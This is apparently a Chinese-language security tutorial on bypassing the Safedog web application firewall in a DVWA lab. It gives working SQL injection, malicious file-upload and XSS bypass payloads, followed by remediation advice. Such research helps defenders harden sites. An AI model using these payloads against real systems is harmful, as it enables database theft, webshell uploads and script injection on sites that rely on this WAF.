前言
本文以最新版安全狗为例，总结一下我个人掌握的一些绕过WAF进行常见WEB漏洞利用的方法，希望能起到抛砖引玉的效果。如果师傅们有更好的方法，烦请不吝赐教。
PS：本文仅用于技术研究与讨论，严禁用于任何非法用途，违者后果自负，作者与平台不承担任何责任
测试环境
PHPStudy（PHP5.4.45+Apache+MySQL5.5.53）+最新版安全狗（4.0.28330）
靶场使用DVWA：http://www.dvwa.co.uk/
SQL注入
判断是否存在注入
方法一
and 1=1被拦截
单独的and是不拦截的。and后面加数字或者字符的表达式会被匹配拦截。
1=1，1=2的本质是构造一个真、假值，我们可以直接用True,False代替
但是依然会被拦截。不过and也可以用 && 代替。
我们构造1' && True --+ 就可绕过
1' && False --+
方法二
将and 后面的数字或者字符表达式加几个内联注释也可以绕过。
内联注释：/* */ 在mysql中是多行注释 但是如果里面加了! 那么后面的内容会被执行。这些语句在不兼容的数据库中使用时便不会执行
如： 1' and /*!1*/=/*!1*/ --+
1' and /*!1*/=/*!2*/ --+
方法三 分块传输
分块传输的原理请自行检索，这里不再赘述。
分块传输插件：https://github.com/c0ny1/chunked-coding-converter/releases/tag/0.2.1
正常写测试payload : 1' and 1=1 --+
将请求方式改为POST，然后进行分块传输编码
可以看到，没有被拦截。
1' and 1=2 --+
猜解字段数
方法一
order by被拦截
单独的order和单独的by都不会被拦截，我们需要在order by之间加各种无效字符。
可以将 1' order /*$xxx$*/ by 1 --+ 放burp里跑各种垃圾参数字典来爆破。
经过测试，1' order/*%%!asd%%%%*/by 3 --+可以成功过狗
通过内联注释/*!*/和注释/**/以及一些无效字符也可以绕过（需要不断Fuzz尝试）
1' /*!order/*!/*/**/by*/ 3 --+
方法二 分块传输
1' order by 3 --+
获取当前数据库
方法一
1' union select 1,database() --+ 被拦截
分开测试 union select 会被拦截
database() 也会被拦截
先绕过union select：
和之前order by的绕过方法一样
1' union/*%%!asd%%%%*/select 1,2 --+
再绕过database()：
经过测试，我们发现单独的database不会被拦截，加了括号就会了
我们将之前的垃圾数据/*%%!asd%%%%*/放到括号了，即可成功绕过
拼接一下，最终的payload为：
1' union/*%%!asd%%%%*/select 1,database(/*%%!asd%%%%*/) --+
方法二 分块传输
分块传输依然可以
1' union select 1,database() --+
获取数据库中的表
方法一
正常注入语句：
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+
根据前面的测试，这个绕过就很简单了，只需要将一个空格地方替换成/*%%!asd%%%%*/即可。
Payload：
1' union/*%%!asd%%%%*/select 1,group_concat(table_name) /*%%!asd%%%%*/from /*%%!asd%%%%*/information_schema.tables where table_schema=database(/*%%!asd%%%%*/) --+
方法二 分块传输
获取表中的字段名
方法一
正常注入语句：
1' union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ --+
绕过方法和获取表的操作无异:
1' union/*%%!asd%%%%*/select 1,group_concat(column_name) /*%%!asd%%%%*/from/*%%!asd%%%%*/information_schema.columns where table_name=’users’ --+
方法二 分块传输
获取数据
方法一
正常注入语句：
1' union select group_concat(user),group_concat(password) from users --+
绕过方法还是一样：
1' union/*%%!asd%%%%*/select group_concat(user),group_concat(password) /*%%!asd%%%%*/from/*%%!asd%%%%*/users --+
方法二 分块传输
文件上传
安全狗对文件上传的拦截是通过检测文件扩展名来实现的。只要解析结果在禁止上传的文件类型列表中，就会被拦截。
我们要做的就是构造各种畸形数据包，以混淆WAF的检测规则。
获取文件名的地方在Content-Disposition和Content-Type，所以绕过的地方也主要在这两个地方
直接上传PHP文件会被拦截
绕过方法1
将filename=”hhh.php” 改为filename=hhh.php; 即可绕过
绕过方法2
各种换行，主要是要把点号和字符串”php”分开
绕过方法3
将filename=”hhh.php” 改为 filename==”hhh.php”(三个等号也可以绕过)
绕过方法4
文件名之间放置分号 filename=”hh;h.php”
绕过方法5
多个filename=”hhh.txt”，最后一个filename=”hhh.php”
XSS
查看安全狗的漏洞防护规则可以发现，安全狗对XSS的防护是基于黑名单的，我们只要fuzz一下哪些标签没有被过滤就好了。
有很多标签可以绕过，这里举例两种：
(1) <audio> 标签定义声音，比如音乐或其他音频流。
<audio src=1 onerror=alert(/xss/);>
<audio src=1 onerror=prompt('xss');>
(2) <object> 标签,data属性
alert(‘xss’)的base64编码：PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=
payload:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>
文件包含
通过绝对路径、相对路径，稍微加些混淆就能绕过...
修复建议
我们研究WAF绕过的目的主要是为了警醒网站开发者并不是部署了WAF就可以高枕无忧了，要明白漏洞产生的根本原因，最好能在代码层面上就将其修复。下面给出一些修复建议：
SQL注入
使用预编译sql语句查询和绑定变量：使用PDO需要注意不要将变量直接拼接到PDO语句中。所有的查询语句都使用数据库提供的参数化查询接口，参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口，使用此接口可以非常有效的防止SQL注入攻击。
对用户输入的数据格式进行严格要求,比如编号只能输入数字就只能输入数字,只能输入字母就只能输入字符,并且对数据的长度进行限制。
文件上传
文件上传的目录设置为不可执行：只要Web容器无法解析该目录下的文件，即使攻击者上传了脚本文件，服务器本身也不会受到影响。在实际的上传应用中，可以将文件上传后放到独立的存储上，做静态文件处理，一方面方便使用缓存加速，降低性能损耗；另一方面也杜绝了脚本执行的可能。
使用随机数改写文件名和文件路径
上传文件时，服务端采用白名单形式限制文件上传的后缀名称，只允许上传“jpg、png、gif、bmp 、doc、docx、rar、zip”等非Web脚本执行文件。
XSS
对用户输入的参数中的特殊字符进行HTML转义或者编码，防止出现有意义的HTML、CSS、JavaScript代码，如：“’、”、<、>、(、=、.”等特殊字符。可以通过Filter过滤器实现全局编码或者转义，也可以在单点对字符串类型数据进行编码或者转义。